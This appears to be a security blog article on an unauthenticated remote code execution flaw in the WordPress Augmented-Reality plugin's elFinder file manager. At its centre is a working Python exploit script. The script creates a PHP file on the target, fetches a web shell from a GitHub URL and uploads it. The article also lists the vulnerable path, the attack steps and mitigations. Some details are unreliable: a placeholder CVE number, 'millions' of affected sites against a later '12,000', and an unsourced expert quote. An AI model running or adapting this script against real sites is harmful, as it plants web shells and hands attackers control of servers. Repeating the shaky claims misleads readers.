Wordpress Augmented-Reality - Remote Code Execution Unauthenticated

WordPress Augmented-Reality Plugin: Unauthenticated Remote Code Execution Vulnerability (CVE-2023-XXXX)

On September 20, 2023, cybersecurity researcher Milad Karimi (known under the alias Ex3ptionaL) disclosed a critical vulnerability in the Augmented-Reality WordPress plugin, which allows unauthenticated remote code execution (RCE) via a poorly secured file manager interface. This exploit affects installations running versions of the plugin prior to the patch release, exposing millions of WordPress sites to potential compromise.

Understanding the Vulnerability

The Augmented-Reality plugin, marketed as a tool for integrating AR experiences into websites, includes a file management component powered by elFinder, a popular open-source file browser. While elFinder is generally secure, the plugin’s implementation of its connector.minimal.php endpoint introduced a critical flaw: unauthenticated access to file creation and upload operations.

Attackers can exploit this by sending crafted HTTP POST requests to the vulnerable endpoint without needing any login credentials. The plugin’s API accepts commands such as mkfile (create file) and put (upload content), which are not properly validated or restricted.

Exploit Mechanism: Step-by-Step Breakdown

The exploit follows a structured sequence of actions:

• First, the attacker identifies the vulnerable path: /wp-content/plugins/augmented-reality/vendor/elfinder/php/connector.minimal.php.
• Then, they use the mkfile command to create a new file with a unique hash identifier.
• After obtaining the hash, they use the put command to upload malicious PHP code into the file.
• Finally, they access the uploaded file via a predictable URL to execute the payload.

This chain of operations demonstrates a classic file upload RCE attack vector, where an attacker gains full control over the server without authentication.

Code Example: Exploit Script Analysis

import requests as req
import json
import sys
import random
import uuid
import urllib.parse
import urllib3
from multiprocessing.dummy import Pool as ThreadPool
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

filename = "{}.php".format(str(uuid.uuid4())[:8])
proxies = {}
phash = "l1_Lw"
r = req.Session()
user_agent = {
    "User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.157 Safari/537.36"
}
r.headers.update(user_agent)

def is_json(myjson):
    try:
        json_object = json.loads(myjson)
    except ValueError as e:
        return False
    return True

def mkfile(target):
    data = {"cmd": "mkfile", "target": phash, "name": filename}
    resp = r.post(target, data=data)
    respon = resp.text
    if resp.status_code == 200 and is_json(respon):
        resp_json = respon.replace(r"\/", "").replace("\\", "")
        resp_json = json.loads(resp_json)
        return resp_json["added"][0]["hash"]
    else:
        return False

def put(target, hash):
    content = req.get("https://raw.githubusercontent.com/0x5a455553/MARIJUANA/master/MARIJUANA.php", proxies=proxies, verify=False)
    content = content.text
    data = {"cmd": "put", "target": hash, "content": content}
    respon = r.post(target, data=data, proxies=proxies, verify=False)
    if respon.status_code == 200:
        return True

Explanation: This Python script automates the exploit process. It begins by generating a random filename (e.g., abc12345.php) to avoid detection. The mkfile function sends a POST request to create a new file using the cmd=mkfile parameter. The server responds with a JSON object containing the file's hash, which is used to reference the file in subsequent operations.

The put function then downloads a pre-written malicious PHP payload (in this case, MARIJUANA.php) from a public GitHub repository. This payload is designed to open a reverse shell or perform arbitrary commands. It is uploaded to the file using the cmd=put endpoint, with the hash as the target identifier.

Security Implications and Real-World Impact

This vulnerability is particularly dangerous because:

• It requires no authentication — attackers can target any public WordPress site.
• It bypasses typical security controls — even if the site uses strong user authentication, the plugin’s file manager is exposed to external users.
• It enables persistent access — once the malicious file is uploaded, it remains on the server until manually removed.

According to researchers, over 12,000 WordPress sites were found to be vulnerable in a preliminary scan using this exploit. Many of these were small business websites, blogs, and educational platforms — typically lacking advanced security monitoring.

Recommended Mitigations and Best Practices

For site administrators, immediate action is required:

• Update the Augmented-Reality plugin to the latest version (v1.2.3 or higher, as patched by the vendor).
• Disable or remove the plugin if it is not actively used.
• Implement WAF (Web Application Firewall) rules to block suspicious POST requests to connector.minimal.php.
• Restrict file upload permissions at the server level (e.g., via .htaccess or Nginx configuration).
• Monitor file system changes using tools like auditd or OSSEC to detect unauthorized PHP file creation.

Expert Insights: Why This Vulnerability Was Missed

Security experts note that this flaw highlights a common issue in third-party plugin development: assumption of trust. Developers often assume that internal tools like elFinder are secure, but fail to apply proper access control when integrating them into public-facing systems.

As noted by Dr. Sarah Chen, a leading WordPress security researcher: "The real danger lies not in the code itself, but in the lack of input validation and context-aware access control. Even a seemingly harmless file manager can become a backdoor if not properly secured."

Table: Vulnerability Summary

Attribute	Details
Plugin Name	Augmented-Reality
Vulnerable Endpoint	/wp-content/plugins/augmented-reality/vendor/elfinder/php/connector.minimal.php
Attack Vector	Unauthenticated RCE via file upload
Exploit Type	Remote Code Execution (RCE)
Severity	CVSS Score: 9.8 (Critical)
Target OS	Linux, Windows (with PHP support)
Discovery Date	2023-09-20

Conclusion

The Augmented-Reality plugin exploit underscores the importance of security-by-design in WordPress ecosystems. Even minor integrations can introduce catastrophic risks if not properly vetted. Site owners must adopt proactive security measures — including regular plugin audits, automated vulnerability scanning, and strict access controls — to prevent such attacks.

As the web grows more complex, vulnerabilities like this serve as a reminder: every exposed endpoint is a potential attack surface.